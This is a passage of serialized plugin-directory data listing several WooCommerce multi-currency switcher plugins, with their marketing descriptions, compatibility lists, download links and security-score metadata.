allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Ch3>⚡️ FEATURES\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Currency Switcher on Product Page\u003C\u002Fstrong>\u003Cbr \u002F>\nShow the WooCommerce multi currency switcher dropdown above Add to cart button on WooCommerce product pages, and other popups where your single product appears including Quickview, filters, etc.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Customize Currency Switcher Drop-down\u003C\u002Fstrong>\u003Cbr \u002F>\nYou can customize currency format by displaying \u003Cstrong>country flags\u003C\u002Fstrong>, currency symbol, currency code, or both. It’s easy to display the currency switcher anywhere using [yaycurrency-switcher] shortcode. The pricing can be customized using correct formatting for thousand separator, decimal separator, spacing, and rounding.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>WooCommerce Sales Reports\u003C\u002Fstrong>\u003Cbr \u002F>\nVisit WooCommerce > Reports > Orders, and you can view your store performance based on currency. Once filtered, you will easily see your total sales, leaderboards, orders, and top products sold in each currency.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Pretty Price Ending\u003C\u002Fstrong>\u003Cbr \u002F>\nRound the converted prices to your desired threshold and make them end in target figures (such as 00, .49, .79, .99, and so on). Psychological pricing made easy with YayCurrency. You can run live test calculations to be sure you’ll have the right WooCommerce multi currency outcome.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Manage Conversion Fee\u003C\u002Fstrong>\u003Cbr \u002F>\nFor each currency pair, your bank, payment processor, or money transfer operator may apply a currency exchange fee. To reduce cash loss, you can optionally add a conversion fee to WooCommerce multi currency settings.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Multiple Currency Switcher Widgets\u003C\u002Fstrong>\u003Cbr \u002F>\nDisplay the WooCommerce multi currency switcher at your store’s optimal point using the widget customizer and shortcode.\u003Cbr \u002F>\nEven when you’re already using various widgets of chatbox, contact button, or other theme widgets, you still can find a sweet spot for the currency converter.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Switchable During Checkout\u003C\u002Fstrong>\u003Cbr \u002F>\nAllow switching currency during checkout and record purchase transactions based on the local supported payment methods. In WooCommerce Orders history, you will see order values recorded in different currencies.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Choose the Geolocation Method That Fits Your Setup (PRO)\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Auto Detect: Let YayCurrency intelligently select the best available method\u003C\u002Fli>\n\u003Cli>WooCommerce Geolocation: Reliable and built-in option for most stores\u003C\u002Fli>\n\u003Cli>MaxMind Geolocation: Advanced accuracy with WooCommerce integration\u003C\u002Fli>\n\u003Cli>IP2Location: Alternative database for precise IP-based targeting\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>🎏 COMPATIBILITY\u003C\u002Fh3>\n\u003Cp>Using a third-party plugin? No worries, this WooCommerce multi currency free plugin can work with your favorite WooCommerce extensions:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Stripe For WooCommerce\u003C\u002Fli>\n\u003Cli>WooCommerce Subscriptions\u003C\u002Fli>\n\u003Cli>Product Add-Ons\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fyaycommerce.com\u002Fyaypricing-woocommerce-dynamic-pricing-and-discounts\u002F\" rel=\"nofollow ugc\">Dynamic Pricing & Discounts\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>Name Your Price\u003C\u002Fli>\n\u003Cli>Table Rate Shipping plugin\u003C\u002Fli>\n\u003Cli>WooCommerce Per Product Shipping plugin\u003C\u002Fli>\n\u003Cli>PayPal Payments\u003C\u002Fli>\n\u003Cli>PeachPay\u003C\u002Fli>\n\u003Cli>Pay for Payment for WooCommerce\u003C\u002Fli>\n\u003Cli>WP Grid Builder Caching\u003C\u002Fli>\n\u003Cli>CartFlows\u003C\u002Fli>\n\u003Cli>JetSmartFilters\u003C\u002Fli>\n\u003Cli>WooCommerce FedEx Shipping Plugin with Print Label\u003C\u002Fli>\n\u003Cli>WooCommerce Custom Product Addons\u003C\u002Fli>\n\u003Cli>Woo Cart Product module of Divi theme\u003C\u002Fli>\n\u003Cli>B2BKing for WooCommerce\u003C\u002Fli>\n\u003Cli>Wholesale Pro by Barn2\u003C\u002Fli>\n\u003Cli>WooCommerce TM Extra Product Options\u003C\u002Fli>\n\u003Cli>WooCommerce One Page Checkout\u003C\u002Fli>\n\u003Cli>Woo Discount Rules plugin \u003C\u002Fli>\n\u003Cli>WooCommerce Product Bundles\u003C\u002Fli>\n\u003Cli>Advanced Product Field plugin\u003C\u002Fli>\n\u003Cli>AG WooCommerce Tyl By NatWest Payment Gateway plugin\u003C\u002Fli>\n\u003Cli>Role Based Pricing for WooCommerce plugin\u003C\u002Fli>\n\u003Cli>PPOM\u003C\u002Fli>\n\u003Cli>LiteSpeed Cache plugin\u003C\u002Fli>\n\u003Cli>HivePress plugin\u003C\u002Fli>\n\u003Cli>Buy Once or Subscribe for WooCommerce Subscription plugin\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>💎 PREMIUM-ONLY FEATURES\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Unlimited Currencies\u003C\u002Fstrong>\u003Cbr \u002F>\nIt supports all currency units in the world, including crypto like Bitcoin (BTC). You can add as many as you need to WooCommerce multi currency plugin.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Price Based on Country\u003C\u002Fstrong>\u003Cbr \u002F>\nAuto-detect the customer’s IP address and show the product prices in their local currency. You don’t have to config anything as this WooCommerce multi currency plugin is readily built with GeoIP services.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Accept Checkout Payments in Different Currencies\u003C\u002Fstrong>\u003Cbr \u002F>\nBased on your settings for each local currency, the order can be placed in the currency chosen by the user. And the product prices are also displayed in the selected currency in \u003Ca href=\"https:\u002F\u002Fyaycommerce.com\u002Fcustomize-woocommerce-order-confirmation-email\u002F\" rel=\"nofollow ugc\">order confirmation email templates\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Auto-Update Exchange Rate\u003C\u002Fstrong>\u003Cbr \u002F>\nExchange rates are automatically updated on regular intervals. You can force the update once in 30 minutes, 6 hours, 7 days, or your custom duration.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Comprehensive Analytics by Currency\u003C\u002Fstrong>\u003Cbr \u002F>\nYou will have full access to your store’s analytics. Under \u003Cstrong>Analytics\u003C\u002Fstrong> menu > go to \u003Cstrong>Overview\u003C\u002Fstrong>, \u003Cstrong>Revenue\u003C\u002Fstrong>, and \u003Cstrong>Orders\u003C\u002Fstrong>, you will see a breakdown of sales by currency, product or service category. These provide a detailed and accurate picture of your business, allowing for better decision-making and strategic planning.\u003C\u002Fp>\n\u003Ch3>🔑 HOW IT WORKS\u003C\u002Fh3>\n\u003Cp>YayCurrency works seamlessly with all native WooCommerce payment methods.\u003Cbr \u002F>\nUsing Direct bank transfer, Check payments, Cash on delivery, PayPal Standard, or Stripe payment gateway? We got you covered!\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Choose your default currency in \u003Cstrong>WooCommerce\u003C\u002Fstrong> > \u003Cstrong>Settings\u003C\u002Fstrong> > \u003Cstrong>Currency options\u003C\u002Fstrong>.\u003C\u002Fli>\n\u003Cli>Then click on \u003Cstrong>Configure multi-currency\u003C\u002Fstrong> to start adding other currencies.\u003C\u002Fli>\n\u003Cli>When a new currency is added, it takes on your WooCommerce store’s default currency format, including currency symbol position, thousand separator, decimal separator, and number of decimals.\u003C\u002Fli>\n\u003Cli>Then, you can localize each currency by changing the formatting options in the currency’s drawer panel.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Find out more:\u003Cbr \u002F>\n✅ Approved by WooCommerce: \u003Ca href=\"https:\u002F\u002Fwoocommerce.com\u002Fproducts\u002Fmulti-currency-switcher\u002F\" rel=\"nofollow ugc\">Multi-Currency Switcher on WooCommerce.com \u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>🔍 Want to see YayCommerce in action? \u003Ca href=\"https:\u002F\u002Fdemo.yaycommerce.com\u002F\" rel=\"nofollow ugc\">View all YayCommerce plugin demos\u003C\u002Fa> and explore the full suite of features.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>COMMON USE CASES\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Global Brands\u003C\u002Fstrong>\u003Cbr \u002F>\nWant to reach out to your nation’s neighbor or sister countries? Guess what, they’ll definitely love to see your products in their national currency. Why not send them a tailored catalogue now?\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Dropshipping Business\u003C\u002Fstrong>\u003Cbr \u002F>\nSo you’re connecting the manufacturers and the end customers? Just start off by selling internationally.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Digital Products\u003C\u002Fstrong>\u003Cbr \u002F>\nDownloadable and bookable products have a borderless sales potential. Unleash it.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Distributors\u003C\u002Fstrong>\u003Cbr \u002F>\nThis WooCommerce multi currency free plugin works with all major B2B, wholesale, and quote request plugins. Try it.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Just a Startup in Progress?\u003C\u002Fstrong>\u003Cbr \u002F>\nNo worries, try out YayCurrency free version. It is the most beginner- and startup-friendly plugin in the world of WordPress.\u003C\u002Fp>\n\u003Cp>Happy Currency-Switching! 💛\u003C\u002Fp>\n","WooCommerce Multi-Currency made easy, powerful, and flexible.",8000,132520,96,109,"2026-03-29T20:23:00.000Z","4.7","5.4",[21,271,22,272,24],"currency-converter","multi-currency","https:\u002F\u002Fyaycommerce.com\u002Fyaycurrency-woocommerce-multi-currency-switcher\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fyaycurrency.3.3.4.zip",2,"2026-02-09 00:00:00",{"slug":278,"name":279,"version":280,"author":281,"author_profile":282,"description":283,"short_description":284,"active_installs":285,"downloaded":286,"rating":13,"num_ratings":287,"last_updated":288,"tested_up_to":16,"requires_at_least":289,"requires_php":289,"tags":290,"homepage":289,"download_link":291,"security_score":292,"vuln_count":275,"unpatched_count":28,"last_vuln_date":293,"fetched_at":30},"woo-currency","Currency Switcher for WooCommerce by WBW","2.2.9","WBW Plugins","https:\u002F\u002Fprofiles.wordpress.org\u002Fwoobewoo\u002F","\u003Cp>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Fplugins\u002Fwoo-currency?utm_source=wordpress&utm_medium=description&utm_campaign=currency\" title=\"WBW Currency Switcher for WooCommerce WordPress plugin\" rel=\"nofollow ugc\">WBW Currency Switcher for WooCommerce Plugin\u003C\u002Fa> allows you to display prices in multiple currencies, use the unlimited number of currencies and set the exchange rate for each currency manually or automatically. The plugin makes full use of Cryptocompare and Free Converter platforms, providing the latest exchange rates, and converting displayed prices in real-time. Currency switcher can be changed automatically according to the customer’s IP.\u003C\u002Fp>\n\u003Cp>You can use Currency Switcher with additional modules – \u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Frates-converter-tooltip-modes\u002F\" title=\"Rates, converter, tooltip modes\" rel=\"nofollow ugc\">Currency Rates, Converter and Tooltip modes\u003C\u002Fa>. This will give your customers the opportunity to pay with their preferred currency, thus increasing shop sales. The best currency switcher to make an online store working with different currencies!\u003C\u002Fp>\n\u003Ch3>Currency Switcher Features\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Funlimited-number-of-currencies?utm_source=wordpress&utm_medium=Unlimitedcurrencies&utm_campaign=currency\" title=\"Unlimited number of currencies\" rel=\"nofollow ugc\">Unlimited number of currencies\u003C\u002Fa>\u003Cbr \u002F>\nYou can convert any currency you want and add as many currencies as you need. Select the currency from a list and with simple settings add it to the Currency switcher straight away to your online store.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Fmanual-automatic-exchange-rate?utm_source=wordpress&utm_medium=exchangerate&utm_campaign=currency\" title=\"Manual\u002F automatic exchange rate for each currency\" rel=\"nofollow ugc\">Manual\u002F automatic exchange rate for each currency\u003C\u002Fa>\u003Cbr \u002F>\nCurrency switcher uses Cryptocompare and Free Converter aggregatots. The plugin allows setting exchange rates manually and automatically. Besides, the Pro version has a feature of an automatic exchange rate updates available for a certain period: every minute, hourly, twice a day, daily, weekly. You can set the option “Notify admin by email” about the last exchange rate values every time when it updates..\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Fdocumentation\u002Fchange-currency-at-checkout\u002F\" title=\"Checkout in selected currency\" rel=\"nofollow ugc\">Checkout in selected currency\u003C\u002Fa>\u003Cbr \u002F>\nPlugin provides an opportunity to change the currency at checkout and allow customers to pay with their selected (preferred) currency.\u003Cbr \u002F>\nThis feature is perfect for WooCommerce shops in case of currencies which aren’t included in this list: “AUD, BRL, CAD, CZK, DKK, EUR, HKD, HUF, ILS, JPY, MYR, MXN, NOK, NZD, PHP, PLN, GBP, SGD, SEK, CHF, TWD, THB, USD”. It’s also useful if you want to convert a given currency into a different PayPal currency to avoid conversion fees by PayPal.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Fsetting-for-each-currency?utm_source=wordpress&utm_medium=customizable&utm_campaign=currency\" title=\"Each currency is customizable\" rel=\"nofollow ugc\">Display setting for each currency\u003C\u002Fa>\u003Cbr \u002F>\nSet the Base currency, Name, Title, Symbol, Position, Cents, Rate. Insert the rate manually or press the Get Rate button in one click.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Fcurrency-switcher-design?utm_source=wordpress&utm_medium=design&utm_campaign=currency\" title=\"Currency switcher design\" rel=\"nofollow ugc\">Currency switcher design\u003C\u002Fa>\u003Cbr \u002F>\nWith Currency Plugin, you can make the Currency Switcher which is not just functional but has a beautiful design as well. Simple, Rotating, Floating types of a switcher. Position, Color settings for all elements of switcher easily make the Switcher unique, so it perfectly matches the store design.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Fcustom-flags-and-currencies\" title=\"Custom flags and currencies\" rel=\"nofollow ugc\">Custom flags and currencies\u003C\u002Fa>**\u003Cbr \u002F>\nIf you need to add any custom currency or your own designed icon, you can easily do it!\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Fother-wordpress-plugins-and-themes?utm_source=wordpress&utm_medium=CompatiblewithWordPressthemes&utm_campaign=currency\" title=\"Compatibility of Currency Switcher with WordPress themes\" rel=\"nofollow ugc\">Compatible with WordPress themes\u003C\u002Fa>\u003Cbr \u002F>\nWBW Currency Switcher for WooCommerce perfectly works with any WordPress theme. Plugins are tested at least on 4 testing servers before the release of each.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Frates-converter-tooltip-modes\" title=\"Rates, converter, tooltip modes\" rel=\"nofollow ugc\">Currency converter, Currency Rates and Tooltip\u003C\u002Fa>**\u003Cbr \u002F>\nThe plugin comes with three additional modes– tooltip, currency rates, and currency converter. These modes give the user an opportunity to display the rate as well as to convert it at the same time and see the tooltip with a price cost of the product compared to the other currencies. You have an opportunity to customize and set their display matching the design of your store and easily place them on the pages, product categories, and custom post types.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Fshopping-cart-conversion-rate?utm_source=wordpress&utm_medium=cartconversion&utm_campaign=currency\" title=\"Shopping cart conversion rate\" rel=\"nofollow ugc\">Increase the cart conversion\u003C\u002Fa>\u003Cbr \u002F>\nStore conversion rates could be improved up to 30% if you let the customers see the prices in a preferred currency. You don’t lose customers just because they don’t have the option to pay in their native currency.\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Fgeo-ip-rules\" title=\"Geo IP rules\" rel=\"nofollow ugc\">Geo IP rules\u003C\u002Fa>**\u003Cbr \u002F>\nWhen Geo IP rules feature is on, Currencies Switcher will automatically identify your customers’ countries by their IP address and they will see products in their country’s currency. Besides, using custom settings you can specify the definition of the currency yourself, just select your list of countries for each currency.\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Ffeature\u002Fmobile-friendly\u002F\" title=\"Mobile Friendly\" rel=\"nofollow ugc\">Mobile Friendly\u003C\u002Fa>\u003Cbr \u002F>\nWith our plugin, you can have two versions of currency switcher, rates, and converter for your website : one for smartphones, one for desktops and laptops. The plugin automatically identifies the device accessing your website and then automatically display a mobile-optimized version to the user. You can choose the devices that will display modules: mobile, desktops, or both. A nice bonus is an opportunity to choose the size of the screen on which your site will be displayed in a mobile version.\u003C\u002Fp>\n\u003Cp>** – Pro features\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Support and suggestions for WBW Currency Switcher for WooCommerce Plugin\u003C\u002Fh4>\n\u003Cp>If you have suggestions for Currency Switcher Plugin, please contact us via \u003Ca href=\"https:\u002F\u002Fwoobewoo.com\u002Fcontact-us?utm_source=wordpress&utm_medium=contactus&utm_campaign=currency\" title=\"Contact Us\" rel=\"nofollow ugc\">Contact Form\u003C\u002Fa> on a website.\u003C\u002Fp>\n\u003Cp>Video tutorial on how to set up WBW Currency Switcher for WooCommerce Plugin\u003Cbr \u002F>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FlJ2r1AbRmJU?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n","WBW Currency Switcher for WooCommerce allows customers to switch products prices to any currencies. Get rates converted in the real-time with dynamic  &hellip;",4000,244699,37,"2026-04-13T17:50:00.000Z","",[21,271,22,272,24],"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwoo-currency.2.2.9.zip",98,"2026-02-23 00:00:00",{"slug":295,"name":296,"version":297,"author":298,"author_profile":299,"description":300,"short_description":301,"active_installs":302,"downloaded":303,"rating":304,"num_ratings":134,"last_updated":305,"tested_up_to":306,"requires_at_least":307,"requires_php":308,"tags":309,"homepage":312,"download_link":313,"security_score":314,"vuln_count":275,"unpatched_count":28,"last_vuln_date":315,"fetched_at":30},"wc-multi-currency","Multi Currency For WooCommerce","1.5.7","PalsCode","https:\u002F\u002Fprofiles.wordpress.org\u002Fpalscode\u002F","\u003Cp>WC Multicurrency is a prominent currency switcher plugin for WooCommerce. This plugin allows your website or online store visitors to switch to their preferred currency or their country’s currency. WC Multicurrency has the option to select currencies that you want to enable on your online store. Currency rates can be set automatically or manually.\u003C\u002Fp>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FtEQsR1mnZ6A?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002Fu1kkVs81cAw?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fhasthemes.com\u002F74ku\" rel=\"nofollow ugc\">Purchase Multi Currency Pro For WooCommerce\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"http:\u002F\u002Fdemo.palscode.com\u002Fmulticurrency\u002F\" rel=\"nofollow ugc\">Check live demo, using this plugin\u003C\u002Fa>\u003C\u002Fp>\n\u003Cp>Are you looking for a free WooCommerce Theme, you can use our partner’s Theme.\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Fdemo.hasthemes.com\u002F99fy-preview\u002Findex.html\" rel=\"nofollow ugc\">99fy – Free WooCommerce Theme\u003C\u002Fa>\u003C\u002Fp>\n","WC Multicurrency is a prominent currency switcher plugin for WooCommerce. This plugin allows your website or online store visitors to switch to their  &hellip;",1000,44952,72,"2025-04-20T05:01:00.000Z","6.8.5","4.4","5.6",[20,21,22,310,311],"multicurrency","switcher-woocommerce","https:\u002F\u002Fpalscode.com","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwc-multi-currency.1.5.7.zip",91,"2024-04-15 00:00:00",{"slug":317,"name":318,"version":319,"author":320,"author_profile":321,"description":322,"short_description":323,"active_installs":324,"downloaded":325,"rating":324,"num_ratings":92,"last_updated":326,"tested_up_to":16,"requires_at_least":327,"requires_php":18,"tags":328,"homepage":329,"download_link":330,"security_score":324,"vuln_count":28,"unpatched_count":28,"last_vuln_date":38,"fetched_at":30},"psmwoo-multi-currency","Multi Currency Switcher for WooCommerce","1.0.4","PSM Plugins","https:\u002F\u002Fprofiles.wordpress.org\u002Fpsmplugins\u002F","\u003Cp>Stop losing sales to currency confusion. Our \u003Cstrong>multi currency switcher\u003C\u002Fstrong> & \u003Cstrong>currency converter\u003C\u002Fstrong> shows prices in their local currency, reduces cart abandonment, and boosts your global sales. The PSM Multi Currency plugin is the complete solution for taking your WooCommerce store global.\u003C\u002Fp>\n\u003Cp>Built by the trusted team behind SupportCandy Helpdesk, our plugin is designed for performance, reliability, and deep feature integration.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>The Complete Multi Currency Solution for WooCommerce\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Our plugin provides a powerful set of tools to create a seamless multi currency checkout experience and give you full control over your international pricing strategy.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Unlimited Currencies:\u003C\u002Fstrong> Add and manage as many currencies as you need.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Real-Time Exchange Rates:\u003C\u002Fstrong> Automatically sync with trusted providers to ensure your \u003Cstrong>exchange rates\u003C\u002Fstrong> are always accurate.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Automatic Geolocation Currency:\u003C\u002Fstrong> Leverage automatic currency detection by country to instantly show visitors product prices in their \u003Cstrong>local currency\u003C\u002Fstrong>.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Set Custom Exchange Rates:\u003C\u002Fstrong> Don’t want to use live rates? No problem. It’s easy to set custom exchange rates for currencies.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Set Conversion Fees:\u003C\u002Fstrong> Add additional percentage or fixed fees to converted price to protect your margins.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>A Seamless Switcher with Total Flexibility\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Give your customers the power to choose their currency with our clean, fully customizable currency switcher.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Display Anywhere:\u003C\u002Fstrong> Use our native Gutenberg currency block, Elementor currency widget, or a flexible currency switcher shortcode to place the switcher exactly where you want it.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Full Checkout Control:\u003C\u002Fstrong> Let customers pay in their chosen currency or assign payment gateways per currency for a streamlined process.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Powerful Analytics\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>Understand your business like never before and trust that our plugin works with your existing setup.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Currency-Specific Sales:\u003C\u002Fstrong> View WooCommerce sales reports by currency directly within your analytics dashboard.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Consolidated Reports:\u003C\u002Fstrong> Convert all sales reports to your store’s default currency for a unified view.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Still wondering \u003Cstrong>how to add multiple currencies to WooCommerce\u003C\u002Fstrong> effectively?\u003C\u002Fp>\n\u003Cp>\u003Cstrong>See Our Multi Currency Switcher in Action\u003C\u002Fstrong>\u003Cbr \u002F>\n\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F3CULEchnWnc?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Ch3>Features\u003C\u002Fh3>\n\u003Cp>Our free version gives you everything you need to start selling globally. No compromises, just powerful features:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Unlimited Currencies:\u003C\u002Fstrong> Add and manage as many currencies as you need. Your global store has no limits.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Flexible Currency Switcher:\u003C\u002Fstrong> Display a beautiful switcher anywhere with our Gutenberg block, Elementor widget, or a simple shortcode.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>True Multi Currency Checkout:\u003C\u002Fstrong> Let customers pay in the currency they shop in. A seamless experience from product page to final payment.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Checkout Currency Rules:\u003C\u002Fstrong> You decide which currencies are available for payment, giving you full control over your checkout process.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Payment Gateway Control:\u003C\u002Fstrong> Assign specific payment gateways to each currency. Offer local payment options to build trust and boost sales.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Flexible Exchange Rates:\u003C\u002Fstrong> Get real-time exchange rates with a single click, or set your own custom rates to protect your profit margins.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Add Conversion Fees:\u003C\u002Fstrong> Easily add a fee to any currency to cover conversion costs and ensure your pricing is always profitable.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Smart Price Rounding:\u003C\u002Fstrong> Automatically round converted prices to clean numbers like $20.00 instead of $20.34.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Integrated Sales Reports:\u003C\u002Fstrong> View detailed sales analytics for each currency directly within your WooCommerce dashboard.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Pro Features\u003C\u002Fh3>\n\u003Cp>Ready to automate your global store? Go Pro to unlock powerful features for maximum growth and a truly hands-free experience.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Automatic Currency Detection by Country:\u003C\u002Fstrong> Welcome visitors with their local currency from the moment they arrive. Our geolocation currency feature provides the perfect first impression.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Automated Exchange Rate Sync:\u003C\u002Fstrong> Put your exchange rates on autopilot. Set a custom schedule (from hourly to daily) and never worry about manual updates again.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>More Exchange Rate APIs:\u003C\u002Fstrong> Choose from multiple trusted exchange rate providers for maximum reliability and accuracy for your currency converter.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Intelligent Checkout Rules:\u003C\u002Fstrong> Automatically set the multi currency checkout based on a customer’s billing or shipping country. Perfect for managing regional compliance.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>\u003Ca href=\"https:\u002F\u002Fpsmplugins.com\u002Fmulti-currency-for-woocommerce\u002F\" rel=\"nofollow ugc\">🚀 Unlock these powerful Pro features and more! Upgrade to Pro today.\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Ch3>Compatibility\u003C\u002Fh3>\n\u003Cp>Our multi currency switcher is built for maximum compatibility. It works seamlessly with the most popular WooCommerce extensions, themes, and services, ensuring our currency converter functions perfectly with your existing setup.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Popular WooCommerce Extensions\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>We offer deep integration with the extensions you already use to run your business, ensuring a smooth experience for complex products and checkouts.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>WooCommerce Subscriptions:\u003C\u002Fstrong> Our plugin is fully compatible with recurring payments, so converted prices work perfectly with subscriptions.\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce Product Bundles:\u003C\u002Fstrong> Display accurate, converted prices for bundled and grouped 